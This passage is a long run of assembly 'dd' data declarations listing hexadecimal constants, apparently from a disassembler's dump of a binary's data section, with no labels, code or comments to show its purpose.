		dd 214CF16Fh, 48E26F8Eh, 2975B509h, 43AFED73h, 0C6253805h
		dd 0BC56BD5Fh, 0C2D917D4h, 5B7BBFB6h, 0FA46605Ah, 5A00D351h
		dd 0D7627D50h, 9A059589h, 0A2F84EA4h, 92DB4E4Ch, 17A36A83h
		dd 0F3B9B2F8h, 2AE45582h, 2C219517h, 496D3FBFh,	3DDEC156h
		dd 0F77B0B77h, 6781346Bh, 0D9854287h, 777BD7AAh, 2FD3CA8Ah
		dd 0CBBED25Ch, 37804B9Eh, 466EAEE1h, 0B3004578h, 88C78151h
		dd 0B5109EA3h, 49623276h, 77E40CDh, 81F4B9E3h, 73609ADBh
		dd 14B8EC16h, 0EE097B00h, 0C03AEC9Dh, 0DA6C61B6h, 7EFEFBC9h
		dd 2389F31Fh, 7E905CFAh, 0A2021846h, 7AAA2B60h,	4E88D768h
		dd 40C0FE82h, 71567876h, 0E7864B00h, 1C5BD5A1h,	0FB660168h
		dd 0D787DFB1h, 3C5EC5B0h, 5C378010h, 0F6E2C54Ch, 13D6E808h
		dd 0BEC52CBh, 0AF76DEFCh, 53DDF25h, 60B52328h, 5ACF8086h
		dd 2318891h, 0EAF4BA00h, 0DA267E44h, 32720264h,	0BD099659h
		dd 5BD425D5h, 71ECF525h, 0ECA01058h, 8A25098Fh,	6830EDFCh
		dd 0DBCB6F56h, 2817D75Ch, 0AAB484A8h, 0AC8FACDAh, 0A60938DFh
		dd 2C180EEAh, 730B8C71h, 7C89F182h, 0F8D189DEh,	79442079h
		dd 0D189054h, 8902DF2Eh, 26F49D4Ah, 0C3869F60h,	61713BB5h
		dd 4A569058h, 0FB8917BBh, 70BF5230h, 6C1E2C74h,	88501635h
		dd 1DEC206Bh, 74EB2500h, 78291E2Ah, 9D450913h, 89FF4071h
		dd 5EDFDB0h, 1D0FCC7h, 9CA7AFD6h, 27C60B82h, 6F5242B1h
		dd 2215408h, 0CA1E95Bh,	0D358055Eh, 903181FBh, 47C32F4h
		dd 0EA06FCEBh, 0D938822Bh, 0AD33F955h, 9D84A2F1h, 9001181Dh
		dd 2150F98Bh, 360D820h,	21F5854Fh, 3E75E33Ah, 34F91001h
		dd 49318851h, 0F6EA1254h, 868597BAh, 0ED2EB6F1h, 5C37A993h
		dd 0FC3A4000h, 6AB8F780h, 3CF6FF5Ah, 81B330E5h,	4AE282DBh
		dd 0BE87E58h, 6DFA2D6Dh, 0B655E043h, 0B90107AFh, 0EDF738BEh
		dd 622FF53Ah, 7A2C3706h, 105B0BC4h, 4FFBB038h, 2FFA5025h
		dd 4A52D9B7h, 0CAC0DF10h, 0ABA41588h, 0E7AC0A92h, 8644608Bh
		dd 1E2C1302h, 40D1F33Bh, 1259F1B0h, 4BA18529h, 72A361A1h
		dd 0BAB2FCD6h, 0ED8273ECh, 9FA14CFFh, 58A5CF79h, 0AFE70414h
		dd 54494234h, 8887C0A2h, 13C0D317h, 0BB36C789h,	0B82E0A8Dh
		dd 99BDC2EDh, 0BC5F0433h, 0D4E5022h, 0C82B81C4h, 0D19A4EFAh
		dd 0B4ADDF80h, 9360E932h, 619D2943h, 155CB907h,	2D122D01h
		dd 7F1DF208h, 150ADA6Eh, 0CF270055h, 42E9FE33h,	0A5360058h
		dd 153D0438h, 0F828CE95h, 0DF4BC45Bh, 292924D2h, 5669A654h
		dd 80AF477Dh, 950D6E77h, 0A516F63Eh, 0E045DE40h, 981DEDC0h
		dd 2EDE721Ch, 2DFBB282h, 64405E6Ch, 4E28AEF9h, 3EB2580h
		dd 231520ECh, 5895F19Dh, 667E407Fh, 0DC94BF17h,	75C82FA9h
		dd 6140D12Eh, 5F45553h,	0D77AFCBFh, 0DE35964Bh,	77ADE5BEh
		dd 16173235h, 23A3A560h, 0B26026A8h, 61F209C6h,	82C14888h
		dd 0F9BD3157h, 0E140D354h, 4E9509FCh, 7BB687F1h, 0BE77418h
		dd 36338705h, 12FDC02Bh, 9409E5B8h, 7BDED60h, 0C1A2C7ACh
		dd 6E3F5DBAh, 857B9000h, 172ADFDEh, 128BBBD7h, 0D002E6DDh
		dd 3925FC5Ch, 0B6488396h, 92028842h, 19D7180Ah,	1508D9A4h
		dd 0D7FF2C5Ah, 70683ADEh, 0DDFF7305h, 0AE8CBAACh, 0B4855ABDh
		dd 0D94E95C9h, 0A6EC41E9h, 0A0B8CF12h, 6A4ED8E7h, 94180368h
		dd 0C011D0D5h, 481BA15h, 97CA10F7h, 684812Eh, 0DA2F2ECEh
		dd 4E298110h, 0B6D240FDh, 23726DAh, 4EE923C4h, 78C19B8h
		dd 7D1792E7h, 0D971392Fh, 0E2E1FF89h, 51935655h, 0A8F2B87h
		dd 0F69D9522h, 61BD600Ah, 14972904h, 1474571h, 3E215F98h
		dd 6D295CA5h, 6F12DBB8h, 17E15FBAh, 37B84569h, 0B4A9F24Eh
		dd 3376448Bh, 728BAB09h, 35D66B25h, 0DB6618DDh,	76C40028h
		dd 433B4E11h, 0D600E2CDh, 0E0A2640Ah, 4521B58Bh, 0D1887D2Ch
		dd 0BF20ADDCh, 5B86770Ah, 0ACA88430h, 156C527h,	5B852DF8h
		dd 4C44FF90h, 0B3044311h, 3BAC12C3h, 7EBE87C0h,	902C40F8h
		dd 0D8177F56h, 0D168D580h
		dd 0AAA1320Bh, 0F256DF6Ch, 7DF82E02h, 0CFAE5655h, 76ABB3F2h
		dd 32B82EFDh, 52D7E916h, 3116F15h, 0DDCAFB61h, 0E9B7E089h
		dd 1253880Dh, 37195C0Eh, 705161DEh, 0A8E57366h,	4AF19520h
		dd 0D2F3B207h, 23A07BB6h, 860DE91Ah, 1B0C8B0Fh,	2208A73Bh
		dd 4A8590A9h, 4BDBDEF9h, 0FEC21F88h, 78A8017Dh,	0CE827E88h
		dd 0FE126055h, 66F51525h, 4ADC9DD1h, 92397C4Bh,	80DAAFDFh
		dd 406E1D8Ah, 7CE175DAh, 5652C502h, 829AB96Bh, 9118DDEh
		dd 462D8AF0h, 0DEBAFE04h, 6C095902h, 7D5C8234h,	23A1C1h
		dd 9E6BB96h, 50606ADCh,	97601970h, 7BD9A516h, 9C8B956Fh
		dd 0F2607A4Fh, 9685C2Bh, 0C562A0B0h, 0A05B1A57h, 0BC634F66h
		dd 0DBED973Ah, 0FC6033C1h, 6BBFF16Bh, 0ECE0B4A7h, 0B21F7C78h
		dd 0ED8BE821h, 0A9ADD50h, 6B11EF5Fh, 46B503D7h,	9EB4B95Bh
		dd 0A3ED86Fh, 6E6688h, 0BA19A9CEh, 72CA8E59h, 5CF6615Ah
		dd 0C04B2BE1h, 0F1B733A7h, 95290751h, 3D7E3BDDh, 6089DF7Ah
		dd 0A51F6D57h, 0A9401C4Dh, 1ABC5A7h, 0B82162AFh, 1024E9B2h
		dd 0BF5ECB80h, 47A5D959h, 0BB055CC3h, 6B5F2E7Eh, 68C185DBh
		dd 0FCB177B3h, 0BF1296E7h, 0F91C32C6h, 91B32292h, 89827F88h
		dd 5C1BC59Dh, 46C7088h,	0B5A90282h, 9280FB26h, 0CFD9AEFCh
		dd 0CDA89269h, 57E3CB2Dh, 0BB66F200h, 8995F006h, 0D8E77B6Ch
		dd 0A57E49F9h, 73A7B703h, 1006AFCFh, 4F1CB1C8h,	14C418AEh
		dd 61810541h, 8180342Bh, 61CE2860h, 8CDE4184h, 4FDC7F0Ch
		dd 82EE02D4h, 0EB187EDEh, 58DEEDF8h, 0E2F0746Dh, 955511A1h
		dd 90DFCB8Fh, 9C84C61Bh, 2E548AFh, 807B6D69h, 0EF77A0A9h
		dd 0D3004EF0h, 7AE1CB9Bh, 0DD94FA25h, 14167DB5h, 0BB9F1C60h
		dd 5A051385h, 4E48C137h, 57302BECh, 9624D780h, 0EF32D0Dh
		dd 732EBED8h, 0B9172CFEh, 6D860CDh, 0F4000570h,	8149FD6Fh
		dd 2512E173h, 5B624D52h, 63E0C74Dh, 938AF21h, 739193CEh
		dd 20D92902h, 81E190F4h, 9FC4C9F3h, 8B899554h, 46D64854h
		dd 0AFE25B18h, 38CD0126h, 0E59D2DDCh, 86E4027Fh, 0A4BDF7B8h
		dd 25EFEF93h, 0D66E5A56h, 0DA25F34Ch, 0FBB7D56Ah, 0F27B607h
		dd 576991E9h, 0A080AD3Ch, 0CF61081Ah, 8F054D1Dh, 8859DC80h
		dd 5E40CD09h, 9673F95Fh, 7DA96C12h, 8C19ACh, 71AF50FCh
		dd 8B965EC2h, 20EEF94Fh, 99F6AE49h, 0F85A6B00h,	0AC72869Ch
		dd 20BB0D1Eh, 2B315B23h, 14C8AE9Ah, 0E2ADF0C4h,	80F6DAD2h
		dd 0B5111FF1h, 7460785Fh, 0AF909DF9h, 105B5486h, 2C8541BFh
		dd 6C610288h, 7E0E27E9h, 0C2827163h, 40536F75h,	96112EDBh
		dd 6817D71Dh, 22AD16D5h, 0E76F3813h, 0B8372300h, 0DF613878h
		dd 0BD25B700h, 55FE07DEh, 537A0AF1h, 24FD6EB3h,	0DB7A5B6h
		dd 79A66102h, 13146C37h, 0F70E820Fh, 0DFB50006h, 0B2AA33BBh
		dd 5BFD058Ah, 655FF851h, 65F809F2h, 0EDE9CB77h,	0C0D89EAEh
		dd 2625A6A5h, 0E91B16F7h, 0B110EF53h, 9501C239h, 1845DD6Dh
		dd 0C98D8904h, 6984BAACh, 0E3FDAC28h, 7AFE8559h, 10BB00E8h
		dd 8AA4E1CDh, 0BD890909h, 0FB593295h, 0B7C6FE42h, 0A1D28033h
		dd 72DF765Ah, 120DEB5Ch, 0FEB3BC50h, 0A0C1E6D3h, 95FCE923h
		dd 0C044F08Bh, 8AB8C900h, 9A7E50C5h, 0C18B2F35h, 0DEABA40Eh
		dd 75E94056h, 0C900E5B5h, 8B9F3B3Ah, 84E69CF8h,	48E1E5BBh
		dd 60578001h, 33131DBFh, 0B209B4F0h, 0AF905F61h, 0B31990EEh
		dd 0EA3186A9h, 0C4E4EBDFh, 0ECBDAFB9h, 64621D21h, 5B167562h
		dd 462D0027h, 608184DAh, 8672D016h, 24A53DA0h, 274AFF0Ah
		dd 805222FFh, 0B858D7EBh, 9A8F84Fh, 626EEAD2h, 5A699800h
		dd 73BF51AEh, 88CFFBBFh, 890E222Dh, 0A884D3B5h,	0F02BE6AAh
		dd 50CEB407h, 90F6FA60h, 2215256Eh, 46D4C97Eh, 5BDD0118h
		dd 0B74CE084h, 0E234F62Bh, 207E3117h, 6EB5E20Ch, 0B3F7107Fh
		dd 0EAB712C8h, 0D28D83B2h, 0E4E67B44h, 66EE30F0h, 7E026A24h
		dd 0B0E73ADEh, 1AEF9A8h, 35D381FBh, 814BE8BBh, 0DB12700Ch
		dd 0E12E905Ch, 71202BBAh, 0FE8083h, 0C2EB6B18h,	0B1B96020h
		dd 0A79F2EFEh, 36A4BB15h, 20EA9D84h, 65B035ABh,	20CD6907h
		dd 5EF15145h, 0AC2A5061h, 84929D50h, 0DE7A9CEAh, 4CAE2F00h
		dd 0BDCCC21Fh, 900F17BFh, 93E256h, 3C87EE53h, 0FAB9AF28h
		dd 0FC5F5A80h, 6304AAD6h, 916AF9C0h, 2A1EE978h,	0AF24E1CEh
		dd 0D01E2BBAh, 6E25EBA7h, 93C20279h, 37DD9C4h, 0A51D68D9h
		dd 0F8A14090h, 7C6F0D01h, 92068ADBh, 9005312Eh,	23BC4251h
		dd 7A508BC1h, 51D291A5h, 805D27B9h, 311A5B05h, 7F0B03FFh
		dd 3C141B54h, 0C0F22E25h, 0A68A0FB1h, 0DC8942C9h, 74D7100h
		dd 0E65AE8E7h, 8B7EC505h, 0E3DCAFFAh, 722EF1B7h, 0BDFC9D1Fh
		dd 0D5F934B2h, 17911BB5h, 0E62F8681h, 6A652436h, 0DC66F6B5h
		dd 80902F1Dh, 6A482C80h, 510FFC01h, 0FA305D8Dh,	0FF214A49h
		dd 8D00E56Fh, 0F3BFF589h, 604B3827h, 88092498h,	414BBD29h
		dd 77B0590Bh, 511FFA4h,	0A10C70E6h, 6FE43761h, 0E4D2F671h
		dd 0EFBEE625h, 0D533F142h, 0DAFC0C96h, 24B120C4h, 0A2AB1213h
		dd 72F71668h, 0E26B7D00h, 1665DC54h, 0AD6FCADDh, 69DA251Eh
		dd 2EF995EBh, 0D67FB308h, 8831D12Eh, 7F9EE963h,	0B7497F57h
		dd 609370FCh, 174C49F3h, 2977435Fh, 0FBFC9195h,	0E02EE989h
		dd 6E1990Ch, 0C924A912h, 22A6F63Bh, 361A10Eh, 0BBDF8010h
		dd 7E5AE928h, 40CB1295h, 259FA274h, 0D0645838h,	3BB7454Bh
		dd 86FD901h, 0D44ADB3Ch, 3E03F773h, 2529D59Fh, 0F6F9ADFFh
		dd 0AD3256C4h, 8DAE98ECh, 9C088216h, 60622417h,	9D29BDBEh
		dd 0DD0CCD04h, 0F6AD3E6Bh, 1854F84h, 1F3D9D89h,	0C819CF6Eh
		dd 5465C015h, 0D19DFC8Ah, 7709AF1Bh, 44A70F59h,	253E0FC2h
		dd 3900DE8Eh, 2B7DFB62h, 0F067100h, 7C0C16D2h, 403ABA46h
		dd 0B92A5B22h, 6495C8DAh, 78C49305h, 605A4A62h,	8A8B00FEh
		dd 8589FCF9h, 0B84949BFh, 0D8A053C2h, 900A03Fh,	57994A95h
		dd 50EEBF66h, 0BA39C6F0h, 21D2E60Bh, 0C225840Fh, 79075621h
		dd 76927180h, 0EF09E583h, 4DE657D8h, 48057120h,	0EC4AD923h
		dd 9EEAD23Bh, 70AB925Eh, 55BD09BEh, 4AAF5FD0h, 0E8A99D94h
		dd 82F09AD2h, 0DDEB9D67h, 12A4CF79h, 2FBF4A3Fh,	0DA8A1F45h
		dd 839BDC4h, 0F079F6AEh, 186DD49h, 0AC0BE11h, 2E6A81AEh
		dd 8A970728h, 5D178255h, 704C7D8Fh, 93957197h, 2D820833h
		dd 45526112h, 0E2E89FB9h, 84194B16h, 0A9AA56EBh, 8C1BAC6Ah
		dd 718F6400h, 5E6C2BA2h, 25F89092h, 92DD2C09h, 0D446FCEDh
		dd 693FA47Dh, 0DFEB820Eh, 5C3FECA0h, 0ADB15167h, 0DE7DD656h
		dd 1200D27Eh, 79D4B3D7h, 972AF1A5h, 9A458C14h, 0F7E5AA20h
		dd 2296CE6Ah, 42BF0251h, 6062AC96h, 9BE0466Dh, 253B28D8h
		dd 8B5F9495h, 4ABA5068h, 26A8B22Eh, 2916D989h, 21A16721h
		dd 5BF9F36Bh, 9BBE6B12h, 0AE5FC0EEh, 980ADBFCh,	9A642757h
		dd 8189985Dh, 946225CBh, 88FC5DC6h, 0E62E02B1h,	976B1440h
		dd 0D9DA2DEDh, 0DE8AC9B0h, 0EDCC5F4Eh, 79BD1031h, 0B7501F23h
		dd 5D230967h, 34006C37h, 2B1928B6h, 60B42DBDh, 3109F1E6h
		dd 5714B18Dh, 854EFFCEh, 9734FAh, 6847DB80h, 0D2C46DEh
		dd 509C00Eh, 84815D43h,	0EE124521h, 0E41F5E51h,	0E077C04Fh
		dd 0F69095AFh, 0B584D6DBh, 4E072C9Bh, 0CB0B7F7h, 9C094EF8h
		dd 4EADB1Ch, 0DDB8FBE5h, 0CD380C0h, 7697AAE9h, 0E2F992B2h
		dd 5D1A8A3h, 0F67D38Ch
		dd 7C8ABF82h, 9B6A12h, 19A183C4h, 0CD024102h, 0D2F13D88h
		dd 56EBE298h, 0E8BF61AAh, 2E74E9B6h, 0B131AC33h, 0DD6A2C01h
		dd 0FACD3BA5h, 898FCC2Bh, 186E2AF7h, 51201900h,	8D91A5D9h
		dd 89813F12h, 7CC5400Bh, 3AE81723h, 8E5B24CEh, 467FC0E9h
		dd 404E9C04h, 4E564F22h, 0D593F217h, 318DFC30h,	0A2F90048h
		dd 2DA14FA3h, 6375C3EAh, 0C2287900h, 0D1BF965Bh, 273C2FD5h
		dd 0A4E4A442h, 0BCB8C895h, 3ED902E8h, 0A7F8EB09h, 80A6F15Fh
		dd 969871C5h, 11D51B8h,	0F3209C99h, 89DB047Bh, 0C4D4B8DFh
		dd 28AB80B7h, 0CE1DBB56h, 50932520h, 1A801CE8h,	52A2AE6Dh
		dd 9CC33D02h, 7F500863h, 52A5F8FBh, 0EDB3986Dh,	95CEB7C0h
		dd 0FB466B66h, 49CF8009h, 0DD59B401h, 0BCA02F90h, 88F84E11h
		dd 7C026379h, 61CA804Fh, 6AD79850h, 4C6902C2h, 0C3F1DCA0h
		dd 9D8A6EFDh, 0BA0078C4h, 5B8BAC15h, 5E453Ah, 0F4E17DC9h
		dd 5F12DCABh, 1CE603Fh,	6C6BF90h, 0DD266D1Bh, 0D3816100h
		dd 20EDFD5Bh, 0A1881697h, 2FAD3154h, 2494053h, 5F25D50Dh
		dd 84B3356Ch, 0F87978h,	897E0B5h, 5C6220F4h, 3FE8B05h
		dd 3BAB219Dh, 75E6F440h, 3AC46CA0h, 0DA6EE85Ah,	9C4AD601h
		dd 6F600C78h, 252EA508h, 0F940307Eh, 9FCF740Eh,	0D1C845A0h
		dd 7E001DE3h, 293515DDh, 0E5596160h, 0CDC1292Eh, 0AFA73A04h
		dd 0AEAD4BA0h, 2B79E202h, 4C3DEF5Dh, 88F2C2h, 0C403CB2Dh
		dd 4F987063h, 0C84E4C00h, 0F0BCAE1Fh, 420D48EDh, 875EB9B3h
		dd 14C84BDAh, 0CB802CC0h, 72FBB5B0h, 7C42A5BDh,	700155C6h
		dd 9550E2CFh, 5E45AA20h, 0A2E1FC15h, 2010CC8Ch,	965825ADh
		dd 95082256h, 5043F556h, 12A4965Bh, 9B964C18h, 0EE927Fh
		dd 0DBC60F71h, 90B56084h, 7C06BB94h, 57501A1h, 5221A027h
		dd 0B695C65Fh, 34BA6F64h, 7F8E9070h, 98976104h,	958D8936h
		dd 2FBB1CC8h, 0AA75D12h, 0C4F9DFEEh, 44C0767Ch,	9F1F09BDh
		dd 0A903156h, 0F3830F16h, 0CE5D39FEh, 0B2D7FBF9h, 410E0008h
		dd 32DD5D21h, 3CD0004Ah, 0B3D85C43h, 0AE28D767h, 0D125E6C4h
		dd 48745929h, 128E0F33h, 397E61A2h, 88AC5A71h, 5602E109h
		dd 0F6B34252h, 192CC45Ch, 0D5B600DEh, 7BA2A10Ah, 3D2D2E8Fh
		dd 5F9C07h, 6CF2B1E4h, 0ED8028B7h, 0DB4DD4Eh, 0CC344B8Ah
		dd 334BB303h, 9CBFD984h, 0EC00EE03h, 2E773A5Dh,	541ADD75h
		dd 5A0FDAA3h, 0C06DA381h, 651ADBFh, 536E9528h, 0AA8DC33Ah
		dd 0AA013196h, 79FDDF27h, 4D3058DCh, 80A94F89h,	96CC42E4h
		dd 70917B9Fh, 9802261Ch, 0AFCD3E35h, 0C2095D14h, 0CF53BD56h
		dd 5708A1C2h, 6DA7B5C5h, 2B6642E4h, 568BE25Dh, 102E7167h
		dd 93721BFh, 60502D2Bh,	76973F66h, 1714963h, 396FDA2Dh
		dd 9880FD25h, 5BDF956Ch, 0F6B8E81Eh, 5A5FC325h,	96F84F2h
		dd 2D1D8529h, 76A71373h, 81CFE160h, 20F9C3D6h, 46F22B3Eh
		dd 43597E9Ch, 0CE1B46C0h, 0C900940Ch, 0D86AB99Bh, 1C4C2201h
		dd 0B1831653h, 2B5FF998h, 0B64B7CE7h, 0B7BDA0A8h, 57789D73h
		dd 4A2B9495h, 0B4C6A76Ch, 1227E2EEh, 26E5EA72h,	0AD7A6Ah
		dd 272BDBCBh, 0E1C649B6h, 0F52CB67Bh, 0DF8BB704h, 6BF53EB8h
		dd 0F2E2008Ah, 56FDEABFh, 0E9A512ECh, 6F45E1DAh, 0B480F19Bh
		dd 999D0B82h, 0B0562E5Eh, 0DAAEAF85h, 3070D3F5h, 90FC32h
		dd 0BF501FB3h, 13EF5C76h, 3973F3h, 12945FA6h, 7D9124A7h
		dd 0EC27A7Eh, 0B09DAA44h, 0D2DECE41h, 980A64Fh,	194A82C9h
		dd 17CCF50Eh, 5FB795h, 0E49373CBh, 0C9588160h, 55611208h
		dd 0AD5BECE2h, 81C0DFB3h, 0BC04AFF3h, 0E193A046h, 0E8FF4B19h
		dd 0C3B5C0DFh, 9CBF54h,	4DAD58DFh, 29181CEBh, 0AEF3A202h
		dd 5760AC48h, 2156E84h,	5561C28Ah, 0FDA54FBDh, 0B17C5FA9h
		dd 0B550FE0Eh, 137EBC8Ah, 44990C49h, 0AABCB700h, 0D480F99Eh
		dd 0BBD0DFA4h, 98914CBFh, 0D0520B2h, 487063BFh,	0F1C04F60h
		dd 0CCE47AD3h, 0FE421F1Fh, 80A467C0h, 18C7B509h, 0A0573792h
		dd 6BE35BF8h, 0BDC3D8FCh, 60B5259Dh, 0D52E17CAh, 0EAE0B200h
		dd 1D784338h, 2BF301B5h, 0C7F511DFh, 8B522E52h,	0C01C9BBFh
		dd 0D55EF98Ch, 880E69E2h, 1D69968Bh, 5E53F9Dh, 9D1A920h
		dd 0D026BB66h, 5744B771h, 17233Fh, 5DE694D3h, 0EFB6026Ah
		dd 944D02DCh, 50F215C8h, 8027D47Ch, 0A3CBBA0h, 0B075D7Bh
		dd 0A32902DFh, 0C7D71BE9h, 13EB12FFh, 0F0C9F691h, 13CC90Fh
		dd 0A03518Ah, 66ECB36Fh, 0F0EBF7EEh, 0B94B2FBCh, 0BDD6457Eh
		dd 0C8C4BDB0h, 30A82507h, 0D7FEE08Ch, 0BA06A908h, 0A60DB80h
		dd 56901833h, 9D505B39h, 587CD88Bh, 2B7910EBh, 0E6616012h
		dd 0F7810147h, 2F21939Dh, 0E291E63Bh, 0D6613019h, 0EE3A4F26h
		dd 27890F0Ah, 8F686425h, 5EFA4082h, 6805D610h, 1F5A390h
		dd 6D387E8h, 610E292Dh,	0D888FF5Eh, 0A4DC1F05h,	3187C327h
		dd 0ECA09EC2h, 5CB8BAC4h, 7C28ED2Dh, 6C5251D9h,	0D3BD5B43h
		dd 3175BD82h, 111AD97Dh, 0A19D3EFEh, 2DB2425h, 77DC01D4h
		dd 2996415Ch, 97D86CC8h, 0BD2B3E00h, 56B72F41h,	39D26B94h
		dd 92C0F600h, 99ACE36Ah, 52191791h, 0D062EB42h,	984F89BAh
		dd 0BA775h, 80EA18C7h, 4BADD61Fh, 9146B203h, 0B80DFCA8h
		dd 0B7176C52h, 8100C873h, 88381987h, 2DF973BEh,	692C3A9h
		dd 8CE6597Dh, 43C5B5Fh,	25259198h, 409A541Dh, 9720CF81h
		dd 2B50A400h, 8BFD8AC8h, 0FF895ED1h, 0A2E99146h, 0B5577E59h
		dd 5F5CA564h, 4C441CA8h, 0C2B7127Bh, 4E0F74E0h,	9AAE38Fh
		dd 565F9FDFh, 0FC564474h, 9CFC96D2h, 21720D00h,	0F2D6DA28h
		dd 53200B00h, 0A9B049EAh, 816B031Bh, 45A176C3h,	0D1A2CC72h
		dd 95B36CFFh, 52189FA4h, 1520E5F8h, 2DDFBB0Fh, 20AAD6D8h
		dd 0BD335082h, 65A29170h, 5F4BA956h, 0AF0B1605h, 2C4C34CEh
		dd 0BD8CDC4Ah, 8484E570h, 0F904BD89h, 0A98AEF29h, 0B394407Ah
		dd 0EDF84Ah, 0DD7CE7E8h, 2EFB80A1h, 2F087962h, 0A59BC01Eh
		dd 473ACD0Bh, 4007198h,	5F62DF8Eh, 9D0F86B9h, 0CCD1F8DBh
		dd 0EF964838h, 0F06E4971h, 959DC86Ah, 77E1841h,	0CFB78096h
		dd 11E960A2h, 92FEBA20h, 2CDFC48h, 0C065C51h, 927527CCh
		dd 0BD8AC00Ch, 53BA9525h, 0BA5187D8h, 0CE826A08h, 0F64F550Bh
		dd 8091B5A7h, 3DB36E85h, 0F63705BAh, 35749406h,	67E8A7E9h
		dd 1755CD4Ch, 6EBF01EDh, 521D29F0h, 22AC3600h, 9337849h
		dd 6962E7B1h, 17558602h, 1D4DA57Ah, 0DBA24E9Ch,	840157A8h
		dd 978D792Ch, 21010A8Fh, 0BD5F8408h, 0C0B92299h, 9934FAD3h
		dd 0E9E0B2BBh, 0E4013F37h, 0B6B2DB84h, 32E06EEEh, 9CB0481h
		dd 0E91BDD60h, 4B0CB838h, 22B58A03h, 0E660626Dh, 7F8201A5h
		dd 5745113Dh, 0FD259120h, 5AF75426h, 135FB57Fh,	0B04713F7h
		dd 0B8E6F394h, 61FEC905h, 51E6E1FFh, 99A103E0h,	508CFC2Fh
		dd 36682524h, 0CA108BC5h, 16AC52D5h, 0D6D57525h, 4A5E1C5Bh
		dd 0B988AACh, 9CDF1759h, 0E2AD4AAEh, 8BB0922Ah,	0AC0E8A6Ah
		dd 0FC604138h, 746B0B97h, 0FE98DCABh, 15E59512h, 0D24A87E2h
		dd 8229367Bh, 553129A5h, 30B1C6Eh, 0DF14D1BDh, 9D2B6CB8h
		dd 1ED1DA9Fh, 0FA8A5090h, 61BC444Dh, 43F9DB00h,	670DE08Bh
		dd 9D0909C1h, 6FDF08CDh, 7B4E6009h, 0CE2CF2EBh,	722F6445h
		dd 279DECDFh, 9C5D0A5Dh, 4B8C4B47h, 519856A5h, 3F007C33h
		dd 28BCC6E6h, 0B026C82Fh, 0DE0EB5DFh, 2970835Ah, 21E6DAB5h
		dd 0F09807Eh, 8B48F18Dh
		dd 6D7585D1h, 661EC09Bh, 85989AC1h, 9F06F120h, 5F65675Ch
		dd 204704EFh, 0C2C2A8D7h, 77B70FF8h, 290B48CCh,	112B058Dh
		dd 0BCD8DB69h, 1BF2FE9h, 7E418A6Fh, 0A0FB3A0Fh,	5B9D2959h
		dd 0FC63F0DDh, 0D4AD749Fh, 68C05B9Eh, 250D29CDh, 91C6DB96h
		dd 0FD8C9A95h, 8E398A10h, 0E26EA00h, 8611FEABh,	0BC2D5EDDh
		dd 6094F77h, 42BA555Fh,	0B5D4FDD4h, 8924F770h, 38280106h
		dd 0A82EAD24h, 0DD8F9A53h, 5849BC71h, 8D313A7Fh, 9D8F32D8h
		dd 961D0B68h, 66E0DAD2h, 8088B957h, 0AA4ACC41h,	0D31C3E63h
		dd 0F495BB9h, 7F258831h, 164D125h, 0F69365F2h, 0FDD03BF4h
		dd 1780D381h, 0BF0F7619h, 605AB56Bh, 0F5993402h, 0AC1B8C4h
		dd 22C66803h, 0A2F180D2h, 88411700h, 46D7201h, 0EFF8E3D6h
		dd 4C01AEAEh, 7F29E139h, 81F29B2Ah, 2FE106FBh, 0EF4AC42Fh
		dd 0BD9600A4h, 3D80FD3h, 3E392A06h, 20C49CBFh, 91BB05B2h
		dd 0AA6A4079h, 3190799Ah, 67A3BAC2h, 0BBC07374h, 25382BFDh
		dd 20D36118h, 1EDC4072h, 0A51C1786h, 9309AFA6h,	7A455C18h
		dd 3F001F79h, 0FB3CA8D1h, 1C5A0047h, 119E8439h,	0E809BB26h
		dd 597A4EEEh, 0B20E448Ch, 49FA4F54h, 6A641E69h,	0A48EFB4Bh
		dd 769A3AE9h, 5B506880h, 535D6749h, 1575109Dh, 1111093Bh
		dd 17AB5F25h, 0E105F612h, 826F9FFDh, 1C573400h,	0BBB14E5Bh
		dd 9804757Ah, 81C63E0Ch, 40B3D17h, 7E502CAEh, 839D044Bh
		dd 89F798A5h, 0BD6A58D8h, 0F40656h, 9E2AF47Ah, 76641EFFh
		dd 4180E799h, 54A8B9F9h, 0AD550542h, 0C79E4A08h, 171D2460h
		dd 600A62BBh, 28408174h, 25A84B93h, 987D6126h, 4B45BD5Ch
		dd 4929D2Ch, 0C640EBDEh, 0EAEFCB81h, 96322E2Eh,	0AFE9600Ch
		dd 9C5B6D30h, 0F04CE9B2h, 5F0AAC00h, 0C6EBF50h,	961AF31Fh
		dd 465A943Bh, 21A9A19Ch, 5B7D8B2Bh, 7881BB9Ah, 7DBAB3BDh
		dd 59858222h, 0FB8B022Ah, 51B6F35Dh, 7442618h, 213D3854h
		dd 4E155FFBh, 9430044Eh, 29F67804h, 0EDA80169h,	9D659C04h
		dd 0B5F8CC51h, 0D6F77BC0h, 0AC00F015h, 1AF25F14h, 4BB239C2h
		dd 0BD8398DCh, 0A52BDD21h, 1DC2C5Eh, 0A52C5003h, 0EA88D076h
		dd 141427Ch, 2FC4F2E7h,	978FA52h, 0DF6D85E8h, 0D39DB570h
		dd 6B93716Ah, 27592405h, 530372ABh, 0DBBD6DF0h,	0DEA73CCFh
		dd 72F4A9DEh, 7AEB0132h, 2358D5CCh, 5B2D6C0Fh, 0B5010C30h
		dd 9C164BD1h, 7AF92963h, 0AF6C2FB5h, 0C0ED9E4Fh, 5E2C53E2h
		dd 34CF2ED2h, 325C25BCh, 2F08E942h, 0D3024303h,	61BB6EE9h
		dd 75F73AE6h, 5696DE07h, 1DF65B60h, 61D1314Bh, 3145603Ah
		dd 264E89BDh, 18BC7BF9h, 9DB8048Ch, 0B8EC4A46h,	5FBBA3C4h
		dd 0BC52A928h, 2E5E3990h, 53B87C1Eh, 0FCE231h, 0F7367CFh
		dd 1702FBD9h, 0AF5E135Bh, 8EF4B2C9h, 4010B917h,	0BCCE8B11h
		dd 84779000h, 3D44BFCCh, 71CF2DD5h, 5F330557h, 800A5A2h
		dd 614849D2h, 0A74C348Fh, 0A3962EBEh, 0E0A5A92Ch, 268CBDC7h
		dd 1ECC5956h, 2810AF31h, 0DF008F92h, 0D2694095h, 3522A0h
		dd 4F06B1D0h, 84BE6DEAh, 8B5EA509h, 2984F5F3h, 0C16BDB96h
		dd 0B7D8200Ah, 0B88BF5F6h, 5E526756h, 0F3892DDCh, 0CF955170h
		dd 73A60A4h, 99008BDAh,	0ADC5BF36h, 9060130Fh, 2FD2062h
		dd 6162F1FEh, 0B2255D78h, 48D3F748h, 2152F31Ch,	0A64A62F7h
		dd 0AEA2A027h, 0F8B913A9h, 0DD108175h, 7B040531h, 38AE1711h
